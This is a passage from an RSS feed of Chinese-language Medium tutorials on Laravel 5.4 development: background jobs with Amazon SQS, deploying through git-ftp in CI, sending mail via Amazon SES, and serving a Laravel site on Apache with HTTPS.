&#39;your-public-key&#39;,<br>            &#39;secret&#39; =&gt; &#39;your-secret-key&#39;,<br>            &#39;prefix&#39; =&gt; &#39;<a href="https://sqs.us-east-1.amazonaws.com/your-account-id&#39;">https://sqs.us-east-1.amazonaws.com/your-account-id&#39;</a>,<br>            &#39;queue&#39; =&gt; &#39;your-queue-name&#39;,<br>            &#39;region&#39; =&gt; &#39;us-east-1&#39;,<br>        ],<br></pre><p>最後再安裝 aws SDK 就可以開始囉！</p><pre>$ composer require aws/aws-sdk-php ~3.0</pre><h3>二、Make a Job!</h3><p>使用指令在 app/Jobs/ 新增一個 job，指令建立的 template 會引入各種所需 class 與 trait。</p><pre>$ php artisan make:job OrderSync</pre><p>這次範例假設情況是當訂單成立時，需要透過背景工作將訂單同步到額外的 POS 系統，減少使用者等待時間。</p><p>產生的 job class 已經定義好 constructor 與 handle 兩個 function，前者方便帶額外變數或 model ，Laravel 會自動將 model 做 serialize，後者是 job 執行時要做的事。</p><pre>&lt;?php</pre><pre>namespace App\Jobs;</pre><pre>use App\Order;<br>use GuzzleHttp\Client;<br>use Illuminate\Bus\Queueable;<br>use Illuminate\Queue\SerializesModels;<br>use Illuminate\Queue\InteractsWithQueue;<br>use Illuminate\Contracts\Queue\ShouldQueue;<br>use Illuminate\Foundation\Bus\Dispatchable;</pre><pre>class OrderSync implements ShouldQueue<br>{<br>    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;</pre><pre>    protected $order;</pre><pre>   /**<br>     * Create a new job instance.<br>     *<br>     * <a href="http://twitter.com/return">@return</a> void<br>     */<br>    public function __construct(Order $order)<br>    {<br>        $this-&gt;order = $order;<br>    }</pre><pre>   /**<br>     * Execute the job.<br>     *<br>     * <a href="http://twitter.com/return">@return</a> void<br>     */<br>    public function handle()<br>    {<br>        $url = &#39;<a href="http://localhost/api/simulate/order&#39;">http://localhost/api/simulate/order&#39;</a>;<br>        $client = new Client();<br>        $response = $client-&gt;request(&#39;POST&#39;, $url);<br>        <br>        $resultJson = json_decode((string) $response-&gt;getBody(), 1);</pre><pre>        if ($resultJson[&#39;status&#39;] == &#39;SUCCESS&#39;) {<br>            $this-&gt;order-&gt;synced = &#39;Y&#39;;<br>            $this-&gt;order-&gt;save();<br>        }<br>    }<br>}</pre><p>然後在要做背景執行的程式碼中，呼叫 dispatch() ，這樣就完成最簡單的版本，不只可以在 controller 中呼叫，任何 inner function 也可以的。</p><pre>dispatch(<br>    new OrderSync($order)<br>);</pre><p>接著在 terminal 執行以下指令：</p><pre>$ php artisan queue:work</pre><p>Laravel 就會跟 queue server 開啟連線 並 pull job 下來，讀者可能在搜尋相關文章的時候會看到queue:listen ，這是 5.2 前舊版的指令，5.3 版本之後官方文件都是用 queue:work ，而如果讀者覺得占用一個 terminal 很麻煩，你可以在指令後面加上 &amp;，或是使用 nohup將指令放到背景執行。</p><p>由於 queue:work 是常駐的 process，job 有任何變更的話，應該使用以下指令將所有 queue:work 停止：</p><pre>$ php artisan queue:restart</pre><pre>&gt; Broadcasting queue restart signal.</pre><p>這會將正在執行的 job 做完再關閉 process，跟直接 kill process 是不一樣的喔！確定都關閉所有先前 process 後，就可以再次執行 queue:work 啦！</p><p>專案上線後建議可以使用 <a href="https://laravel.com/docs/5.4/queues#supervisor-configuration">supervisor 套件</a> （Linux）監測 queue:work 運行，也會紀錄 process 輸出的 log，這也是官方推薦的使用方法。</p><h3>三、Job Handling</h3><p>先前的版本是最簡單的應用，實務上需要去處理 job failed、retry 與 delay 的時機，讓主機資源效用最大化，以這次範例來說，訂單跟外部系統同步時，可能會遇到外部系統 API 掛掉、重複丟訂單編號、其他不可預期的錯誤等等，這些都是需要處理的細節。</p><p>首先建立一個儲存 failed job 的 table</p><pre>$ php artisan queue:failed-table<br>$ php artisan migrate</pre><p>裡面會記錄 push job 時傳送的 payload ，包含 serialize 過的 job ，以及發生的 exception 訊息等等。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WbwolfENtrbKnlPPf5630Q.png" /><figcaption>figure 2. The table of failed jobs</figcaption></figure><p>這個範例情況所處理需要的細節：</p><ol><li>外部系統 API 出現非 200 的狀況</li><li>重複丟訂單編號</li><li>不可預期的錯誤</li><li>失敗嘗試次數過多</li></ol><pre>public function handle()<br>{<br>   // the times of attempts will be reset after it throw in the failed_job&#39;s table.<br>   if ($this-&gt;attempts()==3) {<br>          throw new \Exception(&#39;retry times too much.&#39;);<br>   }</pre><pre><br>   $url = &#39;<a href="http://localhost/api/simulate/order&#39;">http://localhost/api/simulate/order&#39;</a>;<br>   $client = new Client();<br>   $response = $client-&gt;request(&#39;POST&#39;, $url);</pre><pre>   if ($response-&gt;getStatusCode() != 200) {<br>         // throw exception to make a failed job;<br>         throw new \Exception(&#39;http status code: &#39; . $response-&gt;getStatusCode());<br>   }</pre><pre>    $resultJson = json_decode($response-&gt;getBody(), 1);<br>    if ($resultJson[&#39;status&#39;] == &#39;SUCCESS&#39;) {<br>          $this-&gt;order-&gt;synced = &#39;Y&#39;;<br>          $this-&gt;order-&gt;save();</pre><pre>     } else if ($resultJson[&#39;status&#39;] == &#39;DUPLICATE&#39;){<br>          $this-&gt;delete();</pre><pre>     } else {<br>          throw new \Exception(&#39;sync failed&#39; . $response-&gt;getBody());<br>     }</pre><pre>}</pre><pre>public function failed(\Exception $exception) {<br>   // invoked when it occurs exception.</pre><pre>   \Log::info(__CLASS__ .&#39; occurs exception: &#39;.$exception-&gt;getMessage());</pre><pre>    }</pre><p>只要丟出 Exception，就可以使 job 進入 failed_job table 當中，並觸發 failed() ，另外利用 $this-&gt;attempts 檢查重試次數，如果 job 一直無法成功完成，一直執行也是浪費系統資源，所以重複太多次就將他放入 failed_job table，等待確認問題點後，再讓 job 重新執行，確認沒問題後重新執行失敗 job 的指令，或者可以用 crontab 定時執行。</p><pre>$ php artisan queue:retry all</pre><p>說到系統資源的部分， queue:work 這指令也有一些選項可設定，介紹幾個比較重要的：</p><ul><li>delay=n</li></ul><p>job 失敗的時候，要延遲幾秒後再重新執行</p><ul><li>sleep=n</li></ul><p>當 pull 下來沒有 job 的時候，要休息幾秒後再 pull job</p><ul><li>tries=n</li></ul><p>設定 job 失敗的最大次數，這個跟 delay 都沒設限的話，可以會讓主機 DDOS 自己的呢。XD</p><p>另外筆者覺得 queue 在 debug 上比較麻煩點，建議可以記錄一些 log ，以免抓蟲用時方恨少，譬如明明上線都好好的，結果有一天出問題了，似乎是沒丟 request 或參數有問題，但根本沒有 log 可以找，死無對證就哭哭惹。</p><h3>四、Amazon SQS (Simple Queue Service) 介紹</h3><p>SQS 可以省去自行維護 queue server 的成本，也很適合多主機架構平行處理，基本上 1,000,000 次 Request 內是免費的（詳情可以看<a href="https://aws.amazon.com/tw/sqs/pricing/">SQS 定價頁面</a>），缺點是一則 message（前文所指的 job）只有 256 KB 的大小，但 Laravel 是將 job 物件序列化後再做成 JSON，大小其實還蠻綽綽有餘的。</p><p>SQS 的架構如下圖，SQS 會將 message 複製到很多台 queue server，但並不是每台都是儲存所有的 message，pull 時可能那台 server 只有 message A、C 或 B、C、D 等，所以自己的 server 如果有許多台，就可能會拿到不同或重複的 messages 。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*Jjh5UmZ_JK6E82oJM4AAuQ.png" /><figcaption>figure 3. The structure of SQS</figcaption></figure><p>SQS 的 queue 分為兩種模式：</p><ul><li>Standard</li></ul><p>無順序性的取得 message，確保訊息至少會收到一次以上，擁有幾近無限的 TPS，適合大量處理，同時可平行處裡 120,000 個 message。</p><ul><li>FIFO</li></ul><p>First-In-First Out 先進先出的運作模式，所有的 message 都會會依照順序執行，是 2017 年才釋出的新功能，同時可平行執行 message 的數量是 20,000筆，目前僅在以下區域可以使用：</p><ul><li>US East (N. Virginia)</li><li>US East (Ohio)</li><li>US West (Oregon)</li><li>EU (Ireland)</li></ul><p>另外需要注意的是，現階段到 Laravel 5.5 都還有辦法使用 FIFO Queue，因為 <a href="https://github.com/neoascetic/laravel-framework/blob/master/src/Illuminate/Queue/SqsQueue.php">Illuminate/Queue/SqsQueue.</a>php在 push job 時並沒有帶上必要的 MessageGroupId 參數，MessageGroupId 是識別工作順序的 group ID，同一個 MessageGroupId 會以 FIFO 的方式取得 job。</p><p>若要實作 FIFO Queue 的話，建議讀者實作一個 Provider，可以參考以下解法：</p><p><a href="https://stackoverflow.com/questions/40733957/how-to-accommodate-amazon-fifo-sqs-in-laravel-queue">How to accommodate Amazon FIFO SQS in Laravel queue?</a></p><p>其他關於 SQS 的 Visibility Timeout、Long Pulling、Dead Letter Queue、messageGroupId，可以<a href="https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/Welcome.html?shortFooter=true">參考官方文件</a>，筆者認為使用 Laravel 的話，先不瞭解這些也是無使用上問題的，都貼心的封裝好了。</p><h3>五、Laravel 5.5 差在哪？</h3><p>主要 Laravel Queue 在 5.5 多了 Queued Job Chaining，如果前一個 job 失敗了，就不會再繼續執行下一個 job，另外一個 Job Rate Limiting 是跟 Redis 相關的，但筆者都還沒有用到，所以就記錄一下，哈哈。</p><pre>// Queued Job Chaining</pre><pre>FirstJob::withChain([<br>    new SecondJob,<br>    new ThirdJob<br>])-&gt;dispatch();</pre><p>有興趣可以參考 <a href="https://laravel.com/docs/5.5/releases#laravel-5.5">Laravel 5.5 change log </a>。</p><h3>六、其他後記</h3><p>一開始筆者在使用的時候，覺得哪邊都可以呼叫 dispatch 很神奇，甚至在 inner function 也可以使用，想了想原來是 helpers，就來說明一下囉！</p><p>在 vendor 下 ，laravel/framework 的 composer.json 當中，會看到這裡利用 autoload 載入 helpers.php</p><pre>&quot;autoload&quot;: {<br>    &quot;files&quot;: [<br>        &quot;src/Illuminate/Foundation/helpers.php&quot;,<br>        &quot;src/Illuminate/Support/helpers.php&quot;<br>    ],</pre><pre>(<a href="https://github.com/laravel/framework/blob/5.4/composer.json#L83">https://github.com/laravel/framework/blob/5.4/composer.json#L83</a>)</pre><p>在 Foundation/helpers.php 中尋找，發現是使用 Illuminate\Contracts\Bus\Dispatcher 執行 dispatch job 。</p><pre>if (! function_exists(&#39;dispatch&#39;)) {<br>    /**<br>     * Dispatch a job to its appropriate handler.<br>     *<br>     * <a href="http://twitter.com/param">@param</a>  mixed  $job<br>     * <a href="http://twitter.com/return">@return</a> mixed<br>     */<br>    function dispatch($job)<br>    {<br>        return app(Dispatcher::class)-&gt;dispatch($job);<br>    }<br>}</pre><pre>(<a href="https://github.com/laravel/framework/blob/5.4/src/Illuminate/Foundation/helpers.php#L369">https://github.com/laravel/framework/blob/5.4/src/Illuminate/Foundation/helpers.php#L369</a>)</pre><p>但那只是一個抽象接口的 Class，所以往相關的 Provider 尋找最後被替換成的實體，接著在 Illuminate\Bus\BusServiceProvider.php將看到這個抽象的 Class被替換成 Illuminate\Bus\Dispatcher.php</p><pre>public function register()<br>    {<br>        $this-&gt;app-&gt;singleton(Dispatcher::class, function ($app) {<br>            return new Dispatcher($app, <br>                function($connection = null) use ($app) {<br>                    return $app[QueueFactoryContract::class]- &gt;connection($connection);<br>            });<br>        });</pre><pre>....</pre><pre>(<a href="https://github.com/laravel/framework/blob/5.4/src/Illuminate/Bus/BusServiceProvider.php#L24">https://github.com/laravel/framework/blob/5.4/src/Illuminate/Bus/BusServiceProvider.php#L24</a>)</pre><p>然後就可以根據 Dispatch 知道 Queue 到底實際上在做甚麼囉，有空再來寫原理架構的部分吧！</p><p>最後 queue 不只是 dispatch job 而已，傳送 mail 的時候也可以選擇 queue 的方式傳送唷！不得不說用 Laravel 搭配 queue 真的是把事情變得非常簡單，搭配 event 也是很好用的，讚讚！</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5c0053c6a78" width="1" height="1" alt=""><hr><p><a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/use-laravel-5-4-queue-f5c0053c6a78">Laravel 5.4 Queue With SQS</a> was originally published in <a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8">浦島太郎的水族缸</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use git-ftp 2： 把 git-ftp 放入 CI 中]]></title>
            <link>https://medium.com/25sprout/how-to-use-git-ftp-2-%E6%8A%8A-git-ftp-%E6%94%BE%E5%85%A5-ci-%E4%B8%AD-89434d0ecce5?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/89434d0ecce5</guid>
            <category><![CDATA[continuous-integration]]></category>
            <category><![CDATA[ci]]></category>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[ftp]]></category>
            <category><![CDATA[git]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Sat, 08 Jul 2017 09:36:20 GMT</pubDate>
            <atom:updated>2017-07-12T18:29:25.778Z</atom:updated>
            <content:encoded><![CDATA[<p>恰好最近想把 git-ftp 融入到 CI 中，沒想到當初寫的首篇文還是有零星的觀看率，這點小確幸挺值得開心的，如果讀者目前遇到專案只能純 ftp deploy的 server 又有版本控制管理的困擾，可以觀看筆者先前的文章瞭解 git-ftp：</p><p><a href="https://medium.com/@awonwon/how-to-use-git-ftp-%E4%BD%BF%E7%94%A8-git-ftp-%E7%AE%A1%E7%90%86%E4%BD%A0%E7%9A%84-ftp-1864700c6eb9">How to use git-ftp： 使用 git-ftp 管理你的 FTP</a></p><p>本文章內容簡短，僅僅是前篇文的補充，解決在 git-ftp 遇到的問題。</p><p>git-ftp 使用一段時間之後，常常會聽到同事問我說：「你推上去了嗎？我出現這段」</p><pre>Unknown SHA1 object, make sure you are deploying the right branch and it is up-to-date.<br>Do you want to ignore and upload all files again?」</pre><p>而筆者的回答不外乎兩種：</p><p>「咦，我剛剛有推呀！？」</p><p>「啊...每次 git push 後又忘記推 ftp 了，哭Q」</p><p>總是這樣雷到同事總是不太好意思哈哈哈哈，同事人真好！</p><h3>只要 Deploy 都交給 CI 就好了！</h3><p>只要在 job script 裡面這樣寫就好了，超級簡單吧！記得 .git-ftp-ignore 要設好你不想被上傳的檔案，以及 CI Variables。</p><pre>deploy_job:<br> script:<br>  - git config git-ftp.url $URL<br>  - git config git-ftp.user $USER<br>  - git config git-ftp.password $PASSWD<br>  - git ftp push</pre><h3>現在就是沒 CI 怎麼辦</h3><p>寫個自訂義 git command 指令幫你做完 $ git push 與 $ git ftp push ，將 git-ftp 的 scope name 跟 branch name 對應相同名稱就可以了，以下是筆者的 shell script：</p><pre>#!/bin/bash<br># git fp [origin] [branch]</pre><pre>function error_exit<br>{<br> printf &quot;$1&quot; 1&gt;&amp;2<br> exit 1<br>}</pre><pre>echo &quot;push to git server now...&quot;</pre><pre>if [ &quot;$1&quot; == &quot;&quot; ]; then<br>  remote=origin<br>else<br>  remote=$1<br>fi</pre><pre>if [ &quot;$2&quot; == &quot;&quot; ]; then<br>  branch=develop<br>else<br>  branch=$2<br>fi</pre><pre>git push ${remote} ${branch} || error_exit &quot;\n\E[0;31;40m (*´･д･)? OH, push to git server failed.\n&quot;</pre><pre>echo &quot;push file to ftp...&quot;</pre><pre>git ftp push -s ${branch} || error_exit &quot;\n\E[0;31;40m Σヽ(ﾟД ﾟ; )ﾉ So Bad, ftp pushing failed.\n&quot;</pre><pre>printf &quot;\n\E[0;32;40m Success!\n&quot;</pre><p>而檔名就取為 git-fp ，自訂義的指令名稱都要加上 prefix：「 git- 」，在 console 就這樣執行：</p><pre>git fp [origin] [branch]</pre><p>Windows 的使用者將剛剛的 script 放在以下 git bash 環境變數的資料夾即可：</p><p>C:\Program Files\Git\usr\bin</p><p>而 Unix-Based 的使用者將檔案放在 $PATH 可以讀到的位置。</p><p>這段指令會先執行 $ git push，成功了才會再執行 $ git ftp push ，非常簡短，讀者若有興趣可以參考此篇關於 git 自訂指令的介紹：</p><p><a href="https://tech.mozilla.com.tw/posts/5306/%E6%89%93%E9%80%A0%E5%B0%88%E5%B1%AC%E6%96%BC%E4%BD%A0%E7%9A%84-git-%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%A8%8B-alias%E3%80%81commands%E3%80%81hooks">打造專屬於你的 Git 工作流程 - Alias、Commands、Hooks</a></p><p>如果讀者還有更好解決 ftp 版控與部屬的方法，都歡迎討論交流囉！</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89434d0ecce5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/25sprout/how-to-use-git-ftp-2-%E6%8A%8A-git-ftp-%E6%94%BE%E5%85%A5-ci-%E4%B8%AD-89434d0ecce5">How to use git-ftp 2： 把 git-ftp 放入 CI 中</a> was originally published in <a href="https://medium.com/25sprout">25sprout</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Laravel 5.4 Mail With Amazon SES]]></title>
            <link>https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/laravel-5-4-mail-with-amazon-ses-3a0d2dd6984b?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a0d2dd6984b</guid>
            <category><![CDATA[amazon]]></category>
            <category><![CDATA[laravel]]></category>
            <category><![CDATA[mailable]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[mail]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Mon, 01 May 2017 10:35:04 GMT</pubDate>
            <atom:updated>2017-05-01T10:35:04.832Z</atom:updated>
            <content:encoded><![CDATA[<p>laravel mail 的設計對開發者非常便利，預設使用 SwiftMailer 作為發信的 library ，也支援多種 mailer library ，像是 Mailgun、SparkPost、 Amazon SES 等，切換 library 只要改變設定中的 driver ，實際上仍呼叫包裝好的 laravel api function 就可以了，另外一點是他將 email 邏輯跟view 拆開，view 同時支援 html 與 markdown 形式，易用明瞭。</p><p>本文將介紹：</p><ul><li>Amazon SES driver 設定</li><li>email 相關設定</li><li>Mailable 開發</li></ul><h3>一、Amazon SES 設定</h3><ul><li>安裝 AWS SDK</li></ul><pre>composer require aws/aws-sdk-php</pre><ul><li>設定 mailer driver 使用 SES library</li></ul><p>config/mail.php是 mailer 的設定檔，可以看到第 19 行設定 driver</p><pre>‘driver’ =&gt; env(‘MAIL_DRIVER’, ‘smtp’)</pre><p>所以將 .env 檔案中的 MAIL_DRIVER 修改為 ses</p><pre>MAIL_DRIVER=ses</pre><p>接下來讀者需要把 SES 的 Key 跟 Secret 加在 .env 中，這些值會對應到 config/services.php 檔案，SES 的 region 要記得加上去，寫進 .env 也可以，region 在 SES Host 網址中可以找到host:mail-smtp.us-west-2.amazonaws.com，這邊以 us-east-1 美東作為範例。</p><pre>&#39;ses&#39; =&gt; [<br> &#39;key&#39; =&gt; env(&#39;SES_KEY&#39;),<br> &#39;secret&#39; =&gt; env(&#39;SES_SECRET&#39;),<br> &#39;region&#39; =&gt; &#39;us-east-1&#39;,<br>],</pre><p>這樣就好了，記得只要有修改 .env 都需要 restart project 使之重新載入變數。</p><h3>二、設定預設寄/收件人</h3><ul><li>在config/mail.php 中已經幫開發者寫好預設寄件人( from )，修改對應的 .env就可以了，如果有 debug 的需求才會統一收件人 (to)，bcc 會在寄信時設定。</li></ul><pre>&#39;from&#39; =&gt; [<br>    &#39;address&#39; =&gt; env(&#39;MAIL_FROM_ADDRESS&#39;, &#39;<a href="/service/mailto:hello@example.com">hello@example.com</a>&#39;),<br>    &#39;name&#39; =&gt; env(&#39;MAIL_FROM_NAME&#39;, &#39;Example&#39;),<br>],<br>&#39;to&#39; =&gt; [<br>    &#39;address&#39; =&gt; &#39;<a href="/service/mailto:example@example.com">example@example.com</a>&#39;,<br>    &#39;name&#39; =&gt; &#39;Example&#39;<br>],</pre><h3>三、建立 Mailable Class 、View 與寄信</h3><p>執行 php artisan make:email SignupSuccess 建立一個 mailable，第一次會自行產生相關的資料夾，並在 app\Mail 下出現 SignupSuccess.php 檔案，內有已經寫好的 build function 與所需的 class</p><pre>&lt;?php</pre><pre>namespace App\Mail;</pre><pre>use Illuminate\Bus\Queueable;<br>use Illuminate\Mail\Mailable;<br>use Illuminate\Queue\SerializesModels;<br>use Illuminate\Contracts\Queue\ShouldQueue;<br>use Illuminate\Support\Facades\Lang;</pre><pre>class SignupSuccess extends Mailable<br>{<br>    use Queueable, SerializesModels;</pre><pre>    /**<br>     * Create a new message instance.<br>     *<br>     * <a href="http://twitter.com/return">@return</a> void<br>     */<br>    public function __construct()<br>    {<br>        // 傳入與初始化所需的 data<br>    }</pre><pre>    /**<br>     * Build the message.<br>     *<br>     * <a href="http://twitter.com/return">@return</a> $this<br>     */<br>    public function build()<br>    {<br>        // 指定 view 跟 data<br>    }<br>}<br>?&gt;</pre><p>接著讀者只要在想寄送 email 的程式碼區塊，使用 Mail facade 就可以了</p><pre>use App\Mail\SignupSuccess;<br>use Illuminate\Support\Facades\Mail;</pre><pre>...</pre><pre>// 直接發送<br>Mail::to($user-&gt;email)<br>  -&gt;send(new SignupSuccess());</pre><pre>// 使用 Queue 發送</pre><pre>Mail::to($user-&gt;email)<br>  -&gt;queue(new SignupSuccess());</pre><pre>// 使用 Queue 並延遲 n 秒後發送<br>Mail::to($user-&gt;email)<br>    -&gt;later($seconds, new SignupSuccess());</pre><p>再回過頭來看 Mailable 的撰寫，主要是 constructor 跟 build function，透過 constructor 傳入並初始資料和語系，build function 負責處裡資料與設定 email view、附件、資料等等，語系會在此處裡是因為 App::setLoacle() 會影響整個 project 語系，mail 多語系應該適合個別設定，整個範例如下：</p><pre>Use App\User;<br>...</pre><pre>  protected $user, $locale;</pre><pre>  public function __construct(User $user, $locale)<br>  {<br>     $this-&gt;user = $user;<br>     $this-&gt;locale = $locale;<br>  }</pre><pre>  public function build()<br>  {<br>    $sub = __(&#39;mail.signup.success.subject&#39;, [], $locale);</pre><pre>    return $this-&gt;view(&#39;email.signup.success&#39;)<br>            // 也可以加上檔案附件<br>            // -&gt;attach(&#39;/public/sample/readme.pdf&#39;); <br>            -&gt;with([&#39;user&#39;=&gt; $this-&gt;user, &#39;locale&#39;=&gt; $this-&gt;locale])<br>            -&gt;subject($sub);  <br>  }</pre><p>下一步再開建立對應的 blade template : resources\views\email\signup\success.blade.php ，顯示會員名字，對文字設定語系，記得注意使用的 html tag 是否能在信箱正常顯示，可以參考：<a href="https://templates.mailchimp.com/resources/email-client-css-support/">Email Client CSS Support</a></p><pre>@extends(&#39;test.email.container&#39;)</pre><pre>@section(&#39;content&#39;)</pre><pre>&lt;div class=&quot;banner&quot;&gt;<br>    &lt;img src=&quot;{{ env(&#39;APP_URL&#39;) }}/img/mail/signup.png&quot;&gt;<br>&lt;/div&gt;</pre><pre>&lt;h3&gt;__(&#39;mail.signup.success.greeting&#39;, [], $locale)&lt;/h3&gt;</pre><pre>&lt;div class=&quot;message&quot;&gt;<br>    &lt;div class=&quot;greeting&quot;&gt;Hi {{ $user-&gt;name }}&lt;/div&gt;<br>    __(&#39;mail.signup.success.message&#39;, [], $locale)<br>&lt;/div&gt;</pre><pre>&lt;div class=&quot;button-section&quot;&gt;<br>    &lt;a type=&quot;button&quot; href=&quot;{{ env(&#39;APP_URL&#39;) }}&quot;&gt;Back&lt;/a&gt;<br>&lt;/div&gt;</pre><pre>@include(&#39;test.email.signature&#39;)</pre><pre>@endsection</pre><p>這樣一個簡單的 mail 寄送就完成啦～</p><h3>後記補充</h3><p>多語系檔案可以用 php 或 json 製作，但使用上兩種呼叫方法不同：</p><ul><li>php</li></ul><p>建立形式：resources/lang/en/email.php</p><pre>&lt;?php</pre><pre>return [<br>    &#39;greeting&#39; =&gt; &#39;Hi, :name&#39;,<br>    ...<br>];<br>?&gt;</pre><p>呼叫方式： trans(&#39;greeting&#39;, [&#39;name&#39;=&gt;$user-&gt;name], &#39;en&#39;)</p><ul><li>json</li></ul><p>建立形式： resource/lang/en.json</p><pre>{&#39;mail.success.greeting&#39; =&gt; &#39;Hi, :name&#39;}</pre><p>呼叫方式： __(&#39;mail.success&#39;, [&#39;name&#39;=&gt; $user-&gt;name], ‘en&#39;)</p><p>其實筆者覺得 json 用的 function 看起來蠻 magic 的…</p><p>想研究更多可以參考<a href="https://laravel.com/docs/5.4/mail">官方文件</a>囉！</p><p>我們下次見～（好啦我這次拖稿了嗚嗚）</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a0d2dd6984b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/laravel-5-4-mail-with-amazon-ses-3a0d2dd6984b">Laravel 5.4 Mail With Amazon SES</a> was originally published in <a href="https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8">浦島太郎的水族缸</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Laravel 5.4 On Apache：在 Apache 架 Laravel 網站]]></title>
            <link>https://medium.com/%E6%B5%A6%E5%B3%B6%E5%A4%AA%E9%83%8E%E7%9A%84%E6%B0%B4%E6%97%8F%E7%BC%B8/laravel-5-4-on-apache-%E5%9C%A8-apache-%E6%9E%B6-laravel-%E7%B6%B2%E7%AB%99-9b7d1ad938af?source=rss-29c0e7f915f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b7d1ad938af</guid>
            <category><![CDATA[laravel]]></category>
            <category><![CDATA[https]]></category>
            <category><![CDATA[route]]></category>
            <category><![CDATA[apache]]></category>
            <dc:creator><![CDATA[awonwon]]></dc:creator>
            <pubDate>Thu, 30 Mar 2017 19:20:57 GMT</pubDate>
            <atom:updated>2019-05-19T10:43:06.254Z</atom:updated>
            <content:encoded><![CDATA[<p>這個月一直在苦惱該寫甚麼好，這段期間開發專案學到頗多 laravel 的小技巧，但都屬於零零碎碎又不同方面的知識，還不足以變為一篇完整的文章，搞得筆者好擔心會不會難產阿。</p><p>所幸人生總會自有生路，最近剛好在試著把 laravel 專案放到 server 上，來教個安裝設定與 route 閒談吧！</p><p>※ 5.4~5.8 都適用</p><h3>安裝步驟</h3><p>一個 laravel 環境需要安裝的套件</p><ul><li>apache</li><li>php</li><li>composer</li><li>laravel</li><li>node.js</li><li>npm</li><li>yarn (optional，筆者覺得 install package 速度比較快)</li></ul><p>本文會略過安裝 apache、php、composer、node.js、npm 教學，或讀者要用 docker 的話就可以 End 了（逃</p><h3>Install Laravel</h3><p>安裝 laravel，順便把 laravel 加到系統 environment variable 中，如果有用 zsh 或其他 shell 就需要注意一下有沒有成功寫進 environment variable 囉！</p><pre>$ composer global require &quot;laravel/installer&quot;<br>$ export PATH=&quot;$PATH:$HOME/.composer/vendor/bin&quot;<br>$ laravel -v  #=&gt; 測試 export 指令有沒有成功</pre><h3>Laravel On Apache</h3><ol><li>把 project folder 放到 /var/www/html中（假設 project folder 叫做 ohyeah好囉）</li><li>設定 public/跟其他資料夾的權限</li></ol><pre><em>$ sudo chmon -R </em>www-data:www-data<em> /var/www/html/ohyeah<br>$ sudo chmod -R 775 /var/www/html/ohyeah/storage</em></pre><p>3. 新增一個 laravel 使用的 apache conf</p><pre><em>$ sudo vim /etc/apache2/sites-available/laravel.conf</em></pre><p>4. laravel.conf 內容中的設定</p><pre>&lt;VirtualHost *:80&gt;<br>    ServerName localhost<br><br>    ServerAdmin webmaster@localhost<br>    DocumentRoot /var/www/html/ohyeah/public<br><br>    &lt;Directory /var/www/html/ohyeah&gt;<br>        AllowOverride All<br>    &lt;/Directory&gt;<br><br>    ErrorLog ${APACHE_LOG_DIR}/error.log<br>    CustomLog ${APACHE_LOG_DIR}/access.log combined<br>&lt;/VirtualHost&gt;</pre><p>5. 啟用 laravel.conf 的設定，並重新啟動 apache</p><pre><em>$ sudo a2dissite 000-default.conf #=&gt; 把原本預設的設定 disable<br>$ sudo a2ensite laravel.conf<br>$ sudo a2enmod rewrite<br>$ sudo service apache2 restart</em></pre><p>※ 往後如果 .env 有更新的話，建議 restart apache 重新讀取變數</p><blockquote>這樣就完成在 apache 上架 laravel 網站了，可喜可賀可口可樂！</blockquote><h3>所以我說那個 HTTPS ？</h3><p>若你想加上 https 的話，先啟用 ssl 模組</p><pre>$ sudo a2enmod ssl</pre><p>找個地方放你的憑證（範例是存在 /etc/apache2/ssl/），並在 laravel.conf 加上 SSL 的設定</p><pre>&lt;VirtualHost *:443&gt;<br>    ServerName localhost<br><br>    ServerAdmin webmaster@localhost<br>    DocumentRoot /var/www/html/ohyeah/public</pre><pre>    SSLEngine On<br>    SSLCertificateFile /etc/apache2/ssl/apache.pem<br>    SSLCertificateKeyFile /etc/apache2/ssl/apache.key</pre><pre>    &lt;Directory /var/www/html/ohyeah&gt;<br>        AllowOverride All<br>    &lt;/Directory&gt;<br><br>    ErrorLog ${APACHE_LOG_DIR}/error.log<br>    CustomLog ${APACHE_LOG_DIR}/access.log combined<br>&lt;/VirtualHost&gt;</pre><p>這樣就好囉！</p><p>※如果除了首頁都出現404 ，是 apache 預設的 404 網頁並非 resources/views/error/404.php的樣貌，而且 php artisan route:list 的 route 都有正確出現，應該是 